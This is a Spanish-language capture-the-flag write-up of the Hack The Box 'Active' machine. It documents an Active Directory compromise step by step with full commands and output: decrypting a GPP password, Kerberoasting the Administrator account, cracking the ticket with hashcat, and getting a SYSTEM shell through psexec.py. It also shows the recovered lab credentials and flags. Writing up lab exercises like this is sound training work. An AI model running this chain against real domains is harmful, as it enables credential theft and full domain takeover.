Active

Hack The Box — Metodología Detallada

Active

IP:10.129.50.20
OS:Windows Server 2008 R2 SP1
Dificultad:Easy
Categoría:Active Directory
Fecha:29 Ago 2026

Reconocimiento

Escaneo inicial de puertos

Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.

sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.50.20 -oG allPorts

# Output
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5722/tcp  open  msdfsr           syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
47001/tcp open  winrm            syn-ack ttl 127
Hallazgo
La presencia de los puertos 88 (Kerberos), 389 (LDAP) y 3268 (Global Catalog) confirma que el objetivo es un Domain Controller del dominio active.htb. El puerto 47001 (WinRM alternativo) esta abierto, representando un vector de acceso remoto una vez obtenidas credenciales validas. SMB signing requerido descarta ataques de NTLM Relay contra este host.

Escaneo de versiones

PORT     STATE  SERVICE
53/tcp   open   domain        Microsoft DNS 6.1.7601 (Windows Server 2008 R2 SP1)
88/tcp   open   kerberos-sec  Microsoft Windows Kerberos
135/tcp  open   msrpc         Microsoft Windows RPC
139/tcp  open   netbios-ssn
389/tcp  open   ldap          Microsoft Windows AD LDAP (Domain: active.htb)
445/tcp  open   microsoft-ds
464/tcp  open   kpasswd5
593/tcp  open   ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open   tcpwrapped
3268/tcp open   ldap          Microsoft Windows AD LDAP (Domain: active.htb)
3269/tcp open   tcpwrapped
5985/tcp closed wsman
9389/tcp open   mc-nmf        .NET Message Framing

Service Info: Host: DC; OS: Windows Server 2008 R2 SP1
Hallazgo
El escaneo de versiones confirmo el dominio active.htb y el hostname DC. El sistema operativo identificado es Windows 7 / Server 2008 R2 SP1, version antigua con mayor superficie de ataque. Se agrego active.htb y DC.active.htb al /etc/hosts.

Enumeración de Active Directory

Enumeración sin credenciales

SMB anónimo — enumeración de usuarios

Hipótesis
Se intentó enumerar usuarios del dominio mediante autenticación nula via SMB para obtener cuentas validas sin credenciales previas.
netexec smb 10.129.50.20 -u '' -p '' --users

DC  [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC)
(domain:active.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB  10.129.50.20  445  DC  [+] active.htb\:
Conclusión
La autenticación nula no retornó usuarios. El DC tiene la enumeración de usuarios bloqueada para sesiones anonimas.

SMB anónimo — shares

Hipótesis
Se enumeraron los recursos compartidos accesibles mediante autenticación nula para identificar shares sin protección que pudieran contener información sensible.
smbclient -L //10.129.50.20// -N

Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share
Replication     Disk
SYSVOL          Disk      Logon server share
Users           Disk
Hallazgo
Se identificaron 7 shares. Los shares por defecto de Windows (ADMIN$, C$, IPC$, NETLOGON, SYSVOL) son esperados en un DC. Los shares Replication y Users no tienen descripcion estandar, lo que indica que no son shares por defecto del sistema operativo y requieren enumeracion adicional.

Enumeración del share Users

Hipótesis
Se intento acceder al share Users de forma anonima para verificar si contenia perfiles de usuario o archivos sensibles accesibles sin credenciales.
smbclient  //10.129.50.20/Users/ -N
Anonymous login successful
tree connect failed: NT_STATUS_ACCESS_DENIED
Conclusión
La autenticacion anonima no tiene permisos de lectura sobre este share. Vector descartado temporalmente hasta obtener credenciales.

Enumeración del share Replication

Hipótesis
El share Replication no tiene descripcion estandar en el listado de shares, lo que indica que no es un share por defecto de Windows. Se enumero su contenido de forma anonima para identificar archivos de interes.
smbclient  //10.129.50.20/Replication -N
Anonymous login successful

smb: \> ls
active.htb                          D        0  Sat Jul 21 10:37:44 2018

smb: \> cd active.htb\
smb: \active.htb\> ls
DfsrPrivate                       DHS        0  Sat Jul 21 10:37:44 2018
Policies                            D        0  Sat Jul 21 10:37:44 2018
scripts                             D        0  Wed Jul 18 18:48:57 2018

smb: \active.htb\> cd Policies\
smb: \active.htb\Policies\> cd {31B2F340-016D-11D2-945F-00C04FB984F9}\
smb: \...\> cd MACHINE\Preferences\Groups\

smb: \...\Groups\> ls
Groups.xml                          A      533  Wed Jul 18 20:46:06 2018

smb: \...\Groups\> get Groups.xml
Hallazgo
En la ruta Policies\{31B2F340...}\ MACHINE\Preferences\Groups\ se encontro el archivo Groups.xml, generado por Group Policy Preferences (GPP). Este archivo puede contener credenciales cifradas con AES-256, cuya clave maestra fue publicada por Microsoft en 2012, haciendo el cifrado trivialmente reversible.

Descifrado de contraseña GPP

Hipótesis
El archivo Groups.xml contiene el campo cpassword correspondiente al usuario SVC_TGS. Este campo esta cifrado con AES-256, pero Microsoft publico la clave maestra en 2012, haciendo el cifrado trivialmente reversible con herramientas publicas.
cat Groups.xml

<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User name="active.htb\SVC_TGS" changed="2018-07-18 20:46:06">
<Properties
userName="active.htb\SVC_TGS"
cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+
ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"/>
</User>
</Groups>
Hallazgo
Se identifico el usuario SVC_TGS con credencial cifrada mediante Group Policy Preferences (GPP). Este mecanismo fue utilizado por administradores para distribuir credenciales via Group Policy, pero al publicarse la clave AES en 2012 quedo completamente comprometido.
gpp-decrypt -c edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+
ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

[ * ] Password: GPPstillStandingStrong2k18
Hallazgo
Vector confirmado: Credencial obtenida: SVC_TGS:GPPstillStandingStrong2k18. Se procede a validar el acceso con estas credenciales.

BloodHound — grafo del dominio

Hipótesis
Con credenciales validas de SVC_TGS se realizo un grafo del dominio con BloodHound para mapear rutas de escalada y comprobar si existe ACL abuse explotable.
bloodhound-python -u SVC_TGS -p GPPstillStandingStrong2k18 \
-dc DC.active.htb -d active.htb -c All \
-ns 10.129.50.20

INFO: Found 1 domains
INFO: Found 1 computers
INFO: Found 5 users
INFO: Found 41 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
Hallazgo
Se encontraron 5 usuarios y 41 grupos en el dominio. Los datos fueron importados a BloodHound CE para analisis visual de rutas de ataque.
Conclusión
El analisis de BloodHound no revelo una cadena de escalada de privilegios explotable desde SVC_TGS. Se procede a evaluar otros vectores como Kerberoasting.

Explotación

Acceso al share Users con credenciales

Hipótesis
Con credenciales validas de SVC_TGS se volvio a intentar acceder al share Users, que habia sido denegado en la sesion anonima.
smbclient //10.129.50.20/Users \
-U 'active.htb\SVC_TGS%GPPstillStandingStrong2k18'

smb: \> ls
Administrator                       D        0  Mon Jul 16 10:14:21 2018
SVC_TGS                             D        0  Sat Jul 21 15:16:32 2018
Public                              D        0  Tue Jul 14 04:57:55 2009

smb: \> cd SVC_TGS\Desktop\
smb: \SVC_TGS\Desktop\> ls
user.txt                           AR       34  Sat Aug 29 22:24:24 2026

smb: \SVC_TGS\Desktop\> get user.txt

cat user.txt
0f9f80ff********1c4e9b27
Hallazgo
El share Users era accesible con credenciales validas. Se obtuvo la flag de usuario desde el escritorio de SVC_TGS: 0f9f80ff********1c4e9b27.

Kerberoasting — Administrator

Hipótesis
Con credenciales validas de SVC_TGS se evaluo si existian cuentas con SPNs registrados, condicion necesaria para Kerberoasting: el DC emite un TGS cifrado con el hash de la cuenta de servicio, que puede ser crackeado offline sin interaccion adicional.
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 \
-dc-ip 10.129.50.20

ServicePrincipalName  Name           MemberOf
--------------------  -------------  -------------------------------------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=...
Hallazgo
La cuenta Administrator tiene el SPN active/CIFS:445 registrado, lo que la convierte en objetivo de Kerberoasting. Que el Administrator tenga un SPN es una misconfiguracion critica: permite solicitar un TGS cifrado con su hash y crackearlo offline.
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 \
-dc-ip 10.129.50.20 -request -outputfile admin_hash.txt

ServicePrincipalName  Name           PasswordLastSet
--------------------  -------------  --------------------------
active/CIFS:445       Administrator  2018-07-18 19:06:40

[-] CCache file is not found. Skipping...
# Hash TGS guardado en admin_hash.txt
cat admin_hash.txt

$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*
$ed207f0702b5f874e6e6d15cf5b297b5$[...hash truncado...]839e
Hipótesis
El hash TGS obtenido esta cifrado con el hash NTLM del Administrator. Al ser tipo RC4 (etype 23), es susceptible a crackeo offline con diccionario.
hashcat -m 13100 admin_hash.txt \
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*
$ed207f0702b5f874e6e6d15cf5b297b5$[...hash truncado...]:Ticketmaster1968

Status: Cracked
Hash.Mode: 13100 (Kerberos 5, etype 23, TGS-REP)
Hallazgo
Vector confirmado: Hash TGS del Administrator crackeado exitosamente. Credencial obtenida: Administrator:Ticketmaster1968. Se procede a obtener acceso al DC.

Escalada de Privilegios

Acceso como SYSTEM via psexec.py

Hipótesis
Con la contraseña del Administrator obtenida del crackeo del hash TGS, se utilizo psexec.py para obtener ejecucion remota de comandos en el DC. psexec sube un ejecutable temporal al share ADMIN$ y lo invoca via el Service Control Manager, resultando en una shell como nt authority\system.
psexec.py active.htb/Administrator:[email protected]

[*] Found writable share ADMIN$
[*] Uploading file EoSElBCP.exe
[*] Opening SVCManager on 10.129.50.20.....
[*] Creating service AIVf on 10.129.50.20.....
[*] Starting service AIVf.....

Microsoft Windows [Version 6.1.7601]

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
0bd5bb29c0371c10fbb696f41f0b0de6
Hallazgo
Vector confirmado: Acceso obtenido como nt authority\system en el DC via psexec.py. Flag de root: 0bd5bb29********f41f0b0de6. El dominio active.htb ha sido completamente comprometido.

Reflexión Final

Qué salió bien

Qué salió mal

Lecciones aprendidas

Tiempo total

Aproximadamente 50 minutos.